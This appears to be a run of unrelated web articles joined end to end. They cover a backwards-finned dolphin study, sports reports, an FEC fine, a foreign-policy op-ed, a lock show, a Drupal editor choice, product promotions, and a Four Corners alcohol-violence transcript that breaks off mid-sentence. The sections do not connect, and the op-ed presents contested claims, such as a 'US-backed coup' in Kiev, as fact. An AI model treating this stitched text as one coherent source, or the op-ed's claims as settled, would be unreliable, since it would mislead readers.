ottawa.ca | 3-1-1 -The above photo might look like something from Ripley's Believe It or Not — but believe it. Some populations of spinner dolphin that live in the eastern tropical Pacific have bizarre backwards dorsal fins, a phenomenon that has left scientists and marine biologists scratching their heads. "We've known about these dolphins for 50 years," said Matt Leslie, a graduate student at the Scripps Institution of Oceanography, in an interview with Scientific American. "but not a lot has been done to actually study why it's on backwards." Leslie is currently raising funds for an experiment that he hopes will shed some light on the mystery. His plan is to build a model of the dolphin and put it in a flow tank. As water moves over the model, Leslie will be able to observe whether the backwards fin affects the mechanics of the dolphin's swimming ability. Though the experiment has yet to be completed, there are a few key clues from aeronautical technology that suggest how the backwards fin may aid the dolphin's maneuverability. Take, for instance, the illustration below exhibiting the unique, anti-intuitive aerodynamics of the Grumman X-29 experimental fighter plane: Like the spinner dolphin's fin, these fighter planes showcase backwards wings. The design allows airflow around the wings to terminate at the body of the plane rather than at the wingtips, providing better stability and maneuverability. Could this also explain the dolphin's fin? It's possible — but it turns out that the nautical efficiency of the dolphin's backwards fin is only half the mystery. The really peculiar thing about these dolphins is that only adult males exhibit the odd trait. Females and juveniles have normal-shaped fins. This leaves open an important question: Even if the backwards fin is proven to provide benefits for the dolphin, why would the trait only be seen in adult males? Leslie has a hunch that the fin discrepancy has something to do with mate selection and/or sexual competition. Sexual dimorphism — phenotypic differences present between males and females of the same species — is common among animals in which one sex uniquely competes to attract a mate. Peacocks are a good example. Male peacocks exhibit flamboyant tail feathers that they use in their mating displays used to attract females. Since only adult male spinner dolphins have the backwards fins, it's likely that females prefer males that feature them. It may also be important to remember where spinner dolphins get their name: they are known for making acrobatic, playful leaps, often twisting their bodies around many times before falling back to the water. It's therefore possible that their dramatic leaps are actually mating displays, and that their backwards fins evolved because they help males make more theatrical aerial maneuvers. Until Leslie completes his flow tank experiment, it will be impossible to know for sure. He offers a presentation regarding the mysterious backwards-finned dolphin, and a plea for funding, in the video below: Why does this dolphin have its fin on backwards? Baffled scientists are looking for hints from aeronautic technology to help solve the mystery. -The head2head archery app lets archers from around the world compete against each other in live matchplay, no matter their location, timezone or ability. Click the links below to download the app now… How? Players register, upload bow profiles and challenge other players to live head2head archery matches. The arrows an archer shoots in real life are recorded in the app, either end-by-end, or in advance, while his opponent does the same. (You can even ask for picture evidence!) Over time, players build up a global head2head record! Through World Archery’s extensive competition results database, Olympic and World Archery Champions past and present can also be challenged in historical replay head2head contests. Features The head2head archery app is available now: Live match scoring Match record database Historical matches Invite and challenge friends Opponent finder Reviews “I absolutely love the app. I’m telling every archer I know about it. It’s such a brilliant idea. I’ve started incorporating it into my daily training in preparation for the Hyundai Archery World Cup stage in Shanghai” – Louise Redman, Australia (April 2016) Future We’re going to be developing the functionality of head2head archery from player feedback. You can leave your feedback by contacting the support team through the contact page. Features to be added to head2head archery soon: Push notification Intelligent matching Expanded bow bios and more… The head2head archery application was developed by Ken Sentell in partnership with World Archery IT and Communications. -When the Detroit Red Wings first acquired Kyle Quincey just prior to the trade deadline, I was singing both parties’ praises; a late first round pick in a shallow draft seemed like a minimal price to pay for a talented point-accumulating defenseman. Now having played in 16 games with Detroit, the deal doesn’t seem to be working out quite as well as expected. What has Quincey brought the Red Wings so far? Three points and 29 penalty minutes. 17 of those penalty minutes came last night, 15 as a result of the play that got him suspended. Just eight seconds after his team had tied the game at one 5:38 into the third period, Quincey launched into a flying check that found his elbow connecting with former teammate Tomas Kopecky’s face. Quincey left his feet and the principle point of contact was Kopecky’s head. A suspension was inevitable. As expected, Quincey claimed no malicious intent and expressed relief that Kopecky wasn’t injured on the play. “I just tried to make a good body check and I’m glad he’s OK.” While Quincey may have intended to make a clean play, a clean play is not what he made. At least that’s the way Brendan Shanahan (Senior Vice President of Player Safety and Hockey Operations) saw it, deeming Quincey’s hit to be a violation of Rule 42: Charging, and worthy of a one-game ban. The game Quincey is to miss is a crucial one for his team, Wednesday against the division winning St. Louis Blues. The Wings find themselves just 1 point ahead of Nashville and Chicago in the race for 4th in the West (a home ice advantage spot Detroit covets dearly) knowing that every point from here on out counts and desperately looking for some momentum heading into the post-season. The loss of Quincey, though, wont hamper them in the slightest. In fact, just one game prior Quincey found himself a healthy scratch as head coach Mike Babcock began rotating defensemen saying, “He probably mirrors our team. Our team hasn’t been great.” And during an intermission interview on Sunday, Quincey admitted to not yet being comfortable with the new system he’s learning in Detroit. That fact has been painstakingly obvious. Through 16 games with the team Quincey has harmed more than helped. In fairness to Kyle, he hasn’t exactly found himself in the easiest of circumstances thus far, becoming injured shortly after joining the team and then juggling different defensive partners on a nightly basis thanks to more injuries and finally continuing the act with Babcock’s rotations. He’s had no opportunity to build rhythm or chemistry with anyone and that lack of consistency has been heavily reflected in his game. Even if his suspension had reached two or three games as many predicted it would, the Wings wouldn’t have been reeling from the loss. The announcement of this one-game slap on the wrist has merely decided which D-man Babcock will sit out on Wednesday. -The Spain striker has suggested referee Felix Brych was not up to the job after he was dismissed for two yellow cards at Camp Nou but Luis Suarez escaped a similar fate Atletico Madrid striker Fernando Torres says hit out at Uefa after being sent off against Barcelona, suggesting referee Felix Brych was not ready for such a big game. Torres was given his marching orders after picking up two yellow cards in the first half at Camp Nou, with defending champions Barca eventually emerging 2-1 victors against 10 men. The former Liverpool striker took responsibility for his side's defeat but accused Uefa of being more interested in potential kit clashes - with both sides wearing their away strip on the night - than competent refereeing. "It's a shame that UEFA are so preoccupied with changing our kits and putting a referee that has failed to be at the level of a Champions League quarter-final," Torres told reporters after the match. -Rep. Michele Bachmann's (R-Minn.) campaign committee has signed a conciliation agreement with the Federal Election Commission calling for a $8,000 civil penalty for campaign finance violations in her 2010 Congressional campaign. Bachmann for Congress committee failed to disclose accurately $208,502 in receipts and $206,499 in disbursements covering five reporting periods in 2009 and 2010. The committee contends it discovered these problems in a self-initiated examination of its records. The committee has since filed amended reports for those periods. View conciliation agreement in Thecommittee failed to disclose accurately $208,502 in receipts and $206,499 in disbursements covering five reporting periods in 2009 and 2010. The committee contends it discovered these problems in a self-initiated examination of its records. The committee has since filed amended reports for those periods. View conciliation agreement in MUR 6709 -The most devastating reproach historians are likely to make to Barack Obama’s record in the White House is his devastating failure in foreign policy — a failure that stems from his willingness to leave the warrior ideologues of the State and Defense Departments in place after he became president. To them he added ideologues of a new and equally interventionist persuasion, which he found congenial: that of humanitarian action, scarcely relevant in resisting the Islamic caliphate that emerged as a major force in the concluding half of his second term. By then he also faced a Republican congressional majority distinguished by its ignorance — worse than his own in foreign policy matters — and its vindictiveness. He arrived in office to a military leadership lacking a political strategy to shape its tactics in the Middle East and Afghanistan. When he asked for options and political counsel on ending the Mideast wars — as he had promised the electorate — he was insolently given settled plans by the generals for prosecuting the wars to victory. Iraq in fact was eventually abandoned in a condition of political wreckage and sectarian conflict, and Kabul’s leaders have convinced the United States to remain in Afghanistan to prevent the same outcome, which we may fear will nonetheless eventually arrive. He and the military leadership insisted on a useless and destructive intervention in Libya, with devastating consequences throughout northeastern Africa, and in the Syrian civil war they searched in vain for “moderate” rebel allies to overturn Bashar Assad. Obama would later rue the lack of Assad’s cooperation when the forces of the Islamic State group arrived. With respect to Israel, Obama accepted complaisantly — until one week ago — the defiance and disdain of Israel’s Prime Minister Benjamin Netanyahu. He left dealings with Europe, and with the U.S.’ most important and dangerous interlocutor, President Vladimir Putin of Russia, under the controlling influence of a neoconservative cabal in the State Department, committed to reckless policies of American and NATO expansion in Northern Europe. However, if Obama is to be blamed for these errors, it is also true that his policies have reflected a consensus in the U.S. governing class and popular opinion alike that America must always be “first.” This has been the guiding presupposition of the nation and its elite, the majority of its foreign policy intellectuals and its mainstream newspapers and other makers of opinion. The invasion of Afghanistan, the search in Iraq for the weapons of mass destruction that “had” to be there, the destruction of the Taliban government in Afghanistan, and disbanding of Iraq’s Ba’ath Party, army and the existing Sunni apparatus of Iraq’s government — all were welcomed by most of the American policy community. But history’s judgment of Obama’s foreign policy will likely hang on the outcome of the American-backed coup in Kiev in February 2014. It was intended to bring about Ukraine’s eventual adhesion to the European Union and ultimately to NATO (despite earlier U.S. assurances to the contrary). The cease-fire between Ukrainian forces and Russian insurgents that precariously prevails today was brought about by Franco-German diplomatic intervention to pre-empt declared American intentions to supply Ukraine with heavy weapons to expand the war against the insurgents. The circumstances surrounding the instigation of this crisis have yet to be seriously investigated by the American press, and Russian claims that it was a hostile American act have been dismissed without solid evidence by American and NATO spokesmen and officials. European opinion and most of the European press, accustomed to follow the American lead in major foreign policy matters, have expressed notable doubt about the origin and purpose of the current American and NATO roles in Ukraine, which seem to have been to provoke an unwelcome war with Russia. Last weekend, the German weekly Der Spiegel published an investigation of the frequently inflammatory statements of NATO’s commander, Gen. Philip Breedlove (a U.S. officer), regarded by the German government as the leading figure in an American effort “to thwart European efforts at mediation.” Much of what he says is regarded in the chancellery in Berlin as “dangerous propaganda,” which Germany’s Foreign Ministry has protested to the NATO secretary general. Spiegel writes that “Obama seems almost isolated. He has … done little to quiet those who would seek to increase tensions with Russia and deliver weapons to Ukraine. Sources in Washington say that Breedlove’s bellicose comments are first cleared with the White House and Pentagon. … (The general’s role) is that of increasing the pressure on America’s more reserved trans-Atlantic allies.” But to what purpose? Surely not war? Or regime change in Russia? This is a question for which it seems impossible to find an answer — or even a discussion — in the American media. Europe has no answer. Perhaps even Obama doesn’t know. Is it to be left to the historians? William Pfaff writes frequently on foreign affairs. © 2015 Tribune Content Agency -Tenth Annual Lock Show Click thumbnail to see how cool lock collecting is! The Lock Show On Saturday July 13, 2019 from 9:00 AM to 4:00 PM we expect this to be the largest lock show in history. Anticipating more than 100 Collectors and Dealers from all over the world setting up for the show. Whether selling locks, buying locks, or just to browse, we want YOU to be to have a successful show Lancaster Lock Show The Lancaster Lock Show is actually in nearby Morgantown, Pennsylvania. While our roots were in the historic city of Lancaster, PA our show has moved to a much nicer hotel with convenient access along the Pennsylvania Turnpike (Rt. 76). Lancaster County Heritage Lancaster is broadly known for the rich farming community of the Amish and Mennonite settlers from Europe. You might be surprised to learn that over the past 160 years there have been more than a dozen lock manufacturers based in Lancaster! Sadly, none of these companies make locks in Lancaster anymore. However, because of the enduring materials that antique locks where constructed from, many of the locks have survived! These intricate little devices are historic reminders of times long past. Whether you collect locks, or like to browse antiques, we welcome you to the Lancaster Lock Show! -A few weeks ago, we showed the in-line editing prototype we had built for Spark, which has now blossomed into Edit module. Additionally, we also pointed out that we were in the process of selecting the WYSIWYG editor to use in Spark. This selection process was performed in the public Spark issue queue, in order to gather community feedback and to attempt to reach consensus. 73 people followed that issue, about two dozen of whom contributed to the discussion as well. Spark has a well-defined goal for its choice in WYSIWYG editor: we want authors to be able edit content directly on the page while it has the exact same styling that it will have when it is being viewed by a site visitor, also known as “true WYSIWYG.” However, Spark’s WYSIWYG editor also needs to support a more “traditional” WYSIWYG model which injects the editor into a textarea form field, such as on the node add/edit form. We want to use Aloha Editor for in-line editing, but also on the back-end — I think nobody is looking forward to having to use two WYSIWYG editors. On the back-end, it of course can’t be “true WYSIWYG”, it will be “structural WYSIWYG”. Today, we’d like to share our WYSIWYG editor choice for Spark: Aloha Editor. After several feedback rounds from the community in the aforementioned issue, the consensus started gravitating towards Aloha. We then had a call with Aloha’s development team that answered many of the community’s questions and concerns. They have even offered to host a sprint in their offices in Vienna in mid-July for key members of the Spark and Drupal community to collaborate with their development team on making Aloha Editor integrate more cleanly with Drupal. Aloha Editor is definitely not perfect, and to correct the biggest problems (most notably: its sheer size), the Aloha team currently have some major changes underway — much like Drupal. The biggest change is a move to jQuery UI from ExtJS, which will drop the code base size considerably. Next they plan to make sure it’s possible to not load the additional JavaScript that is needed for compatibility reasons only. This means that e.g. Google Chrome users will need to load far less data. As the internet population moves on to newer and better browsers, we’ll need to load fewer files! Despite not being as mature an editor as some other contenders such as TinyMCE or CKEditor, Aloha Editor does have much going for it. It has solid cross-browser support (including IE8), a very complete feature set, great support for pasting from Word, RTL support, a proven plug-in system, the ability to completely override the UI, an abstraction for dealing with “islands of content” inside textual content for e.g. image captions, media and tokens (Aloha Blocks — this is what shows the flexibility of their plug-in system), unit tests, and asynchronous loading (they use RequireJS) for performance. If you’d like to learn more about Aloha Editor, or have questions or criticism, please see the two aforementioned issues. The issue summaries should guide you to the information you’re looking for. Soon, we’ll start working on integrating Aloha Editor with Drupal in Spark. Keep an eye on the Edit module and Spark distribution project pages! -Improve the Health of Your Family With Your Own Cooking. Clean Eating is a positive lifestyle change that works. The Family-Friendly Clean Eating Cookbook will change the relationship your family has with food. Unlike a standard diet that you follow to reach a short-term goal, Clean Eating is a common sense strategy to achieve permanent and lasting good health, without depriving yourself of flavorful food, or feeling guilty after every meal. I share the recipes we've fallen in love with and use on a daily basis. With nutritional information for every recipe and healthy desserts for demanding kids (Desserts they’ll love, trust me), this cookbook got you covered. After you’ve read this book and tried the recipes, you’re going to be as hooked as I am. You’ll never crave fast food again, eating healthy foods keeps you feeling energized and full throughout the day. And the best thing, you’ll never ever feed your family with processed foods again. In this cookbook I share; -12 Delicious Breakfast Recipes. -14 Incredible Lunch Recipes. -15 Lovely Dinner Recipes. -6 Mouth Watering But Healthy Dessert Recipes. -5 Quick and Easy Recipes For When You’re In a Hurry. Buy your copy today! Tags: Clean eating, clean eating cookbook, clean eating recipes, easy clean eating recipes, simple clean eating recipes, fast clean eating recipes, clean eating cookbook for beginners, clean eating for beginners, clean eating cookbook for families -Mauricio Pochettino insists Tottenham can still challenge for the title this season Danny Rose scores Tottenham's winner against Burnley Tottenham boss Mauricio Pochettino reckons his side can still challenge for the Premier League this season after the 2-1 victory over Burnley. Danny Rose clinched all three points with a superb second-half strike after Dele Alli had earlier cancelled out the opening goal form Burnley's Ashley Barnes. Pochettino's side endured a sticky period through October and November but they appeared to have turned a corner, having won four out of their last five matches. Tottenham now sit fifth in the table, 10 points behind leaders Chelsea, who stretched their winning run to 11 games with a victory at Crystal Palace. Highlights of Tottenham 2-1 Burnley Highlights of Tottenham 2-1 Burnley "Are Chelsea out of sight? No, it's true that we have a 10-point gap with Chelsea," Pochettino said. "But in football anything can happen. There are lot of games to play. Not only because last season was a similar gap with Leicester, eight or nine points in that period. Tottenham boss Mauricio Pochettino says his side fully deserved the three points after coming from behind to beat Burnley Tottenham boss Mauricio Pochettino says his side fully deserved the three points after coming from behind to beat Burnley "I think our position is good. Now we are winning games, keeping the gap now a little bit closer to second position. "It is not tomorrow, not in a few weeks, that the Premier League finishes. I think it's still a long way until the end of the season." -Many women have come to accept the uncomfortable aspects of their periods as facts of life. Once a month, you'll worry about making it to the end of yoga class without bleeding through your tights. You wear your least favorite underwear just in case your pad leaks. And at the end of the week, you'll experience the discomfort that comes along with removing a dry tampon. In search of a better way, I tried menstrual cups...and I'll never, ever go back. I eased my way in at first. I went to my local drugstore and purchased a package of Softcups. Softcups are disposable menstrual cups that last throughout your period but are discarded afterward. After one cycle, I was in love with the concept so much that I ditched the throw-away cups and bought my first reusable menstrual cup. There are a variety of brands such as The Lily Cup, The Diva Cup, Lunette, Lena Cup, MeLuna, and Mooncup to choose from, each one unique in its shape, size, and firmness. I opted for the Lena Cup. Most menstrual cups come in two sizes, small and large, and it's usually recommended that women who have not given birth go for the smaller choice, while those who have kids go for the larger. Firmness is more of a personal preference—this helps the cup to expand and form a seal in your vagina, so the firmer it is, the more easily it opens. My personal favorite has been the Lena Cup Sensitive. It's the same size and shape as the regular Lena Cup, but it's slightly less firm and even more comfortable. (Did you know wearing a menstrual cup may motivate you to exercise?) A menstrual cup is virtually painless and relieves the discomfort of having to remove a tampon during light flow days—no more cotton to stick to the walls of your vagina! Menstrual cups are also great if you're someone who wants to avoid a mess as you wait for your period to arrive—just pop in your cup, and you're ready for anything. Every cup comes with instructions and options for inserting the device, so you'll just figure out which way works best for you. There's a learning curve at first for new users, as the concept of inserting and emptying a ribbed plastic cup seems a little foreign. But you'll quickly get the hang of it. The best part? You only need to empty your cup twice a day (or every twelve hours), so there's no more worrying about running out of tampons or stopping whatever you're doing to run to the bathroom. You can swim, shower, practice yoga, or run as you normally would and it feels amazing, unlike what you'd feel with a tampon string or a bulky pad between your legs. Oh, and there's no risk of TSS—double bonus! (ICYMI, periods are sort of having a moment. Here's why everyone is obsessed with periods right now.) Menstrual cups are not only beneficial to your health but also your wallet and the environment. One cup can last between five and ten years (yes, years) with proper care, putting an end to the monthly cost of tampons or pads. Cups usually come in nice cloth bags for storing. Caring for your menstrual cup is simple—boil it in water for five to seven minutes between periods and you're set for next month. You'll be saving approximately 150 pounds of waste from tampons and pads over your menstruating lifetime. (Yuck!) Essentially, menstrual cups are much less costly and produce far less waste than tampons and pads, but the benefits don't end there. "For women who are traveling—particularly abroad or where access to stores might be limited—a reusable menstrual cup can eliminate the need to find tampons or pads," says Kelly Culwell, M.D., chief medical officer at WomenCare Global, a nonprofit focused on providing healthy, affordable contraception to women. "Women who find they have issues with vaginal dryness or irritation with tampons might have a better experience with menstrual cups, which do not absorb vaginal fluid or alter the vaginal pH." (Read up on everything you ever wanted to know about tampons and some stuff you probably didn't.) Using a menstrual cup also gives you a unique, although somewhat too close for comfort, look at your cycle and your health. You can see if you've had a light or heavy flow, the color of your blood, or if you're clotting. For me, it was empowering to understand my cycle and to know how much I was actually bleeding. I was able to actually collect my blood rather than have something absorb it. I was always under the impression that my period was pretty heavy, but the first time I saw how much I bled, I was surprised how little blood collected throughout the day. Even if you're not into learning about the inner workings of your vagina, the comfort of a menstrual cup is life-changing. Once I experienced a period with a smooth, soft menstrual cup, I couldn't imagine a future period without one. -Who Will Win The Tour de France? Having looked at the other jerseys, now it’s time to assess the contenders for cycling’s ultimate prize, the yellow jersey and the overall win in the Tour de France. Chris Froome is everyone’s pick and it’s easy to see why. But who are his rivals and how can he be beaten? Also the quantity of top-10 contenders stands out, promising a battle in the mountains. Chris Froome (Team Sky) is the first choice. He can climb and time trial with the best. Second in 2012, this year’s route suits him better and he’s got a very strong team riding in his service. He’s improved technically, has experience of leading races and enjoyed a strong season from the Tour of Oman to the recent Critérium du Dauphiné. In this last race he was so far ahead he was trying to set up team mate Richie Porte for stage win. If you want to quantify his status the bookmakers price his chance of winning at worse than evens, odds even shorter than Bradley Wiggins this time last year. The certainty is a concern for those wanting a show in the mountains given Wiggins’ win last year was a triumph of pacing and power over panache. But Froome is more able to attack in the mountains, the tempo riding of 2012 was designed for Wiggins. Still the fear is Sky will play it safe and set a pace to deter others from attacking until Froome launches a late moves to steal seconds. How to beat Froome His rivals can try two strategies. First is to disrupt Team Sky’s mountain pace-setting, even going as far as chopping and flicking riders out of the pace-line, for example taking an awkward line through hairpin bends. All’s fair in love and war. Second is to embrace Team Sky’s pacing and tuck in whilst playing on Froome’s attacking instincts and hope he launches a move that ejects his team mates and then others can gang up on him. Alberto Contador (Team Saxo-Tinkoff) is a strong candidate but is this thanks to reputation or form? Banned this time last year he came back to win the Vuelta. But we wondered how big his margin of victory would be only he needed a surprise move on a medium mountain stage to take the race. It was an great result but not the domination many had expected. This year he’s had only one win and in the modest Tour de San Luis, an early season race in Argentina. It’s now all about improving on his performance in the Dauphiné. He took second on the stage to the ski resort of Valmorel behind Froome and complained of allergies during the race. The late spring this year in western Europe means pollen levels are still high; perhaps the variety that bugged him in June has gone but he could still suffer in July. A podium is possible but he’s over 30 now and not the same rider when he had the sulphurous Jose “Pepe” Martí as coach but if anything he’s more aggressive and willing to take risks. We’ll know a lot more after the Stage 11 time trial where a top-20 position would suggest he’s on track. He’s had a lite team in years past but the arrival of Russian tycoon Oleg Tinkov has meant Roubles to sign riders like Nico Roche, Roman Kreuziger plus Mick Rogers has transferred from Team Sky, bringing the inside scoop on Sky’s marginal gains. All the talk is about Chris Froome but team mate Richie Porte was second in the Dauphiné. Climbing and time trialling with ease, he’s won Paris-Nice this year and has ambitions for the 2014 Giro. Visions of two Sky riders on the podium are déjà vu thanks to the Wiggins-Froome combo last year but there’s a difference as Froome and Porte are friends and train together regularly and we’re likely to see the 1-2 combo at work rather than the tandem ride of last year where the Froome-dog was called to heel. Which brings us to Nairo Quintana (Movistar). A theme of 2013 is the resurgence of Colombian cycling but in 2012 Quintana was already leaving Sky trailing in the mountains to win a stage of the Dauphiné. His problem is one of experience, I can see him on the podium but leading the world’s biggest race is a lot for a 23 year old. Plus any haematological advantages from the past few months spent living at home in Colombia will fade by the third week of the Tour. That said he got stronger in the spring as he raced more, he was second on the Col d’Eze time trial of Paris-Nice in March and won the Tour of the Basque Country in April. Notionally Quintana is supposed to ride in service of Alejandro Valverde. It’s hard to assess the Spaniard. He was off the pace in the Dauphiné but look back across the season and he’s been superbly consistent, finishing in the top-10 in the majority of races he’s completed, whether on GC or stages and one day races. He was seventh in the Dauphiné but once the time trial result delayed him he seemed to be playing with tactics a bit more. Movistar also come with Rui Costa who has just won the Tour de Suisse for the second time. He was impressive and won the race with a much more powerful display that last year. The Portuguese rider was 18th in the Tour and should do better this year. The impressive thing is the collective force of these riders in the mountains, the team will have plenty of options and many will count on them to disrupt Team Sky’s linear efforts. Garmin-Sharp are also promising chaos. Ryder Hesjedal, Dan Martin and Andrew Talansky can all crack the top-10 and go higher. The team plan is to see where the cards fall and then back the best rider. The lack of hierarchy is intrinsic to the Slipstream philosophy. Each rider has their qualities, Martin is the climber who has come good this year with Liège-Bastogne-Liège and wants to prove himself in a stage race. Ryder Hesjedal’s looked good this until things fell apart in the Giro and Tour de Suisse, he’ll have some freshness for the final week and is reputed to be lighter than ever. Meanwhile everything is going to plan for Talansksy, the Tour is his target this year and he’s useful all rounder. Katusha’s Joaquim Rodriguez has been targeting the Tour. In 2012 he was on the podium of the Giro and Vuelta and was close to winning these races outright. But the Tour is something else, unlike the Giro there are no time bonuses for him to snipe nor are there a succession of steep climbs for him to dance up as he did in the Vuelta. Above all the level is higher in the Tour plus he’s 34. He should not be dismissed outright and his punchy style helps liven up the race. He comes as package with Dani Moreno who arguably is having a better year with a win in the Flèche Wallonne and his third place in the Dauphiné bodes very well too. If Rodriguez is 34, BMC Racing’s Cadel Evans is a still a contender at 36. If he were to win he’d overtake 1922’s Firmin Labot title as the oldest winner of the race. He was seventh last year but ill and his third place in the Giro was achieved after a late entry. Is he too tired now? In the past he’s been one to target races but if he’s in form his ability is proven by his 2011 Tour win. If not team mate Tejay van Garderen sets out on a quest to get the world to spell his name right and is a stealthy pick for the podium. He’s been fourth in Paris-Nice, third in the Criterium International and won the Tour of California. If he was on team duty in the Tour de Suisse this might have allowed him to ride tempo rather than burn out. All is building well and he’s a steady rider, a smooth running diesel whose powers of recovery should suit the final week. Bauke Mollema is Belkin’s leader with Robert Gesink for support. The newly branded team needs a result to win more sponsors and Mollema’s momentum from the Tour de Suisse could be just what’s needed. His lively riding in Switzerland was a pleasure to watch but behind the spectacle it took big power to ride away for the win on Stage 2. Lotto-Belisol’s Jurgen van den Broeck has to be mentioned. Fourth overall in 2010 and 2012 but do you remember it happening? Clearly it takes big talent and dedication to achieve this result but he’s made one victory salute during his 11 years as a pro and its rare to see him attack. He’ll have to work hard as Lotto-Belisol come equipped with more wagons for André Greipel’s sprint train than mountain helpers. By now we’re firmly into outsider territory. Jacob Fuglsang and Janez Brajkovič bring options for Astana and you can see them in the top-10 . Ag2r’s Jean-Christophe Péraud leads the brown-short brigade, he’s a likeable rider but exploring the frontiers of his talent to make the top-10 again. Thibaut Pinot can climb with the best and was tenth overall last year on a route that didn’t suit him. He’s better this year and wants “to confirm” as they say in French, I can see him in the top-10 with ease and taking a stage or two in the mountains but he’ll have to avoid being caught out at the back of the bunch, le placement is his weakness. Consensus says Andy Schleck should be left to himself. But his results over the years and past ease in the mountains means if he hadn’t had such a tumultuous 12 months he’d be a nailed-on podium pick given the mountain overload this year. Radioshack-Leopard also come with Andreas Klöden and Haimar Zubeldia who was sixth last year but would you know if he walked past you in the street? Any others for the top-10? Cofidis’s Rein Taaramäe has the clichéd big engine but it’s prone to breakdowns and overheating whilst new recruit Dani Navarro is a top climber. Vacansoleil-DCM’s Lieuwe Westra seems their best bet with Thomas de Gendt as a more random factor and Wout Poels remains a talent and it’s nice to see him back after his critical injuries last year. Europcar’s Pierre Rolland is still having trouble with the time trials so a prestigious mountain stage win seems more likely than a high overall place but win in the mountains and you soar up the leaderboard too. Euskaltel-Euskadi’s Igor Antón is another climber to watch but again stage wins and the polka-dot jersey seem to be the goals although remember the Basque teams needs ranking points to stay in the top division. Przemyslaw Niemec had a strong Giro and could be Lampre-Merida’s best bet but the Tour is new for him. Orica-Greenedge’s Cameron Meyer impressed in Switzerland and should find the steady climbs of the Tour to his advantage. Conclusion Chris Froome is so far ahead do the others have to settle for second place? No, the Tour brings 20 stages where a crash or a puncture can be enough to ruin anyone’s chances and he’s as prone as anyone to have a bad day, it happened in Tirreno-Adriatico where the weather iced him and Vincenzo Nibali and Contador Rodriguez rode away. Froome is my pick to win the race but I would not bet with the prices now. What’s striking is the number of riders capable of a top-10 finish. Richie Porte, Tejay van Garderen and Alberto Contador seem to be the safe choices but what of all the others? It’s this uncertainty that promises plenty. Who will win the White Jersey? Tour de France: Who will win the Mountains Jersey? Tour de France: Who will win the Green Jersey? -Monday 25 February 2013 Australians love a drink, and some see no problem at all with drinking to excess. But now doctors, police and paramedics have called "time", warning that alcohol-fuelled violence has reached crisis levels. "We are not facing a crisis, we're in a crisis. It's occurring right now." Read the statistics and it's hard to argue with these dire warnings. The latest figures show that each year as many as 70,000 people are involved in alcohol-related assaults. In all, it is estimated that alcohol-related violence costs the community $187 million each year. Four Corners also reveals there's a growing body of evidence that shows a link between binge drinking and brain damage. As one expert explained: "You will face assault, you will assault, you will have falls. You will find yourself with a brain injury as a result of the long-term use of alcohol." While the overall incidence of alcohol-related violent crime varies in each state in Australia, one thing is clear: the violence associated with alcohol abuse is getting more extreme. Indeed one key judicial figure has taken the unusual step of opening his court to the cameras and telling Four Corners: "One day someone is going to sit down and weigh up the benefit in terms of taxes to government from the sale of alcohol, against the detriment or the cost to governments of servicing the consequences of violence." Next on Four Corners, reporter Janine Cohen tells the story of one young man who did nothing more than take his girlfriend out to a club. Without provocation he was attacked, his skull fractured and his life changed forever. The story of alcohol abuse didn't end there. His attacker, who'd consumed 10 cans of bourbon and cola, was arrested, found guilty and sentenced to six years jail. His family was devastated. Despite such occurrences, the Australian Hotels Association (AHA) argues that alcohol isn't the only cause of violence and its increasing intensity. The organisation claims that drugs are the real problem and that people must take more personal responsibility. "Well it's a society problem, it's not the AHA's problem. The AHA work closely with the community, work closely with government, works closely with police to ensure they provide safe venues." Out on the streets Four Corners found a rather different picture. Accompanying police on patrol, it soon became clear that alcohol and violence are close companions. The cameras captured the moment when police themselves are attacked, and go with the paramedics who are forced to clean up the carnage after violence flares. At the hospital emergency ward things are no better. Doctors and nurses are forced to tend to a constant stream of people who've become victims of alcohol-related violence. Why won't government do more to reduce the amount of alcohol sold? For some the answer is clear: they are frightened to take on the powerful liquor industry. Meanwhile the level of violence is intensifying. "Punch Drunk", reported by Janine Cohen and presented by Kerry O'Brien, goes to air on Monday 25th February at 8.30pm on ABC1. It is replayed Tuesday 26th February at 11.35pm. It can also be seen on ABC News 24 on Saturday at 8.00pm, ABC iview and at abc.net.au/4corners Transcript "Punch Drunk" Monday 25 February 2013 (Shots of uniformed police wrestling with drunk men outside pubs) KERRY O'BRIEN, PRESENTER: In our streets, in our hospital emergency wards... (Police trying restrain a man in a hospital) ...a lethal cocktail of alcohol and violence. (Long shot of a young man in a wheelchair on a beach) MARGARET FORD, MOTHER: What's your life like now, Sam? (Sam makes a thumbs down gesture) Not very good? SAM FORD, BASHING VICTIM: Nah... KERRY O'BRIEN: A national pastime that's got well out of hand. Welcome to Four Corners. Alcohol is not only often seen as a rite of passage in Australia, it's also embedded in our culture. It's when the drinking gets out of hand and the drinker loses all sense of judgement that bad things can happen. Tonight's program will contend - through the eyes of police, paramedics, doctors and nurses - that in Australia, public drinking and the aggression it often generates have reached crisis proportions. About 70 per cent of police street work is consumed with alcohol related incidents, and hospital emergency departments are often overloaded at weekends. There are about 70,000 alcohol-fuelled assaults across Australia each year. While alcohol related assaults are not on the increase in all states, it seems drinkers are now inclined to drink more spirits and trauma doctors say the severity of assaults has dramatically increased. Tonight we show the terrible ripple effect, not only on the victims and their families but also on the perpetrators. Janine Cohen is the reporter. (Long shot of Coolangatta skyline at night) JANINE COHEN, REPORTER: It was a typical busy Saturday night in Coolangatta on Queensland's Gold Coast. Eighteen year old Sam Ford was walking to a nightclub with his girlfriend. (Superimposed photograph of Sam Ford with his girlfriend) RYLAND FORD, SAM'S BROTHER: Sam was actually walking to the nightclub to meet me. It was his first time going out clubbing since he turned 18. (Shot of a street at night with muffled jeers and shouting) CRAIG BLANCH, QLD POLICE DETECTIVE: Sam and his girlfriend heard a male voice from behind and he was yelling abuse towards him, trying to entice Sam to fight him. MICHAEL FORD, SAM'S FATHER: Sam was trying to avoid a fight at any cost. He was trying to protect his girlfriend. DETECTIVE CRAIG BLANCH: Sam was backing away from the incident, trying to text on his phone to his brother to tell him what was going on. JANINE COHEN: Sam's girlfriend tried to shield Sam and was knocked to the ground. (Shadows of people fighting) MICHAEL FORD: This man swung violently at Sam. (Thud of a punch) MARGARET FORD: The punch was so forceful, when Sam's head hit the ground witnesses said it sounded like a log cracking open. (Mobile phone video footage of the street after the incident) JANINE COHEN: A crowd quickly gathered. These scenes were captured on a mobile phone. Several people rang triple zero. (Excerpts from Triple 0 calls) MAN: Can I please get someone as soon as possible at Greenmount Beach? There's a guy that got knocked out on the road and he's- I think he's having a fit, he's snorting... WOMAN: Oh my god. OPERATOR: What I need you to do is actually wave the ambulance down when they get there. I'm going to let them know where you are. WOMAN: I will, I will. But there's actually now about I'm saying probably 15 to 17 teenagers. It's not looking good. (Confused footage of kids milling about the accident scene) MICHAEL FORD: Sam's brother Ryland came, got there after he received the text and found Sam 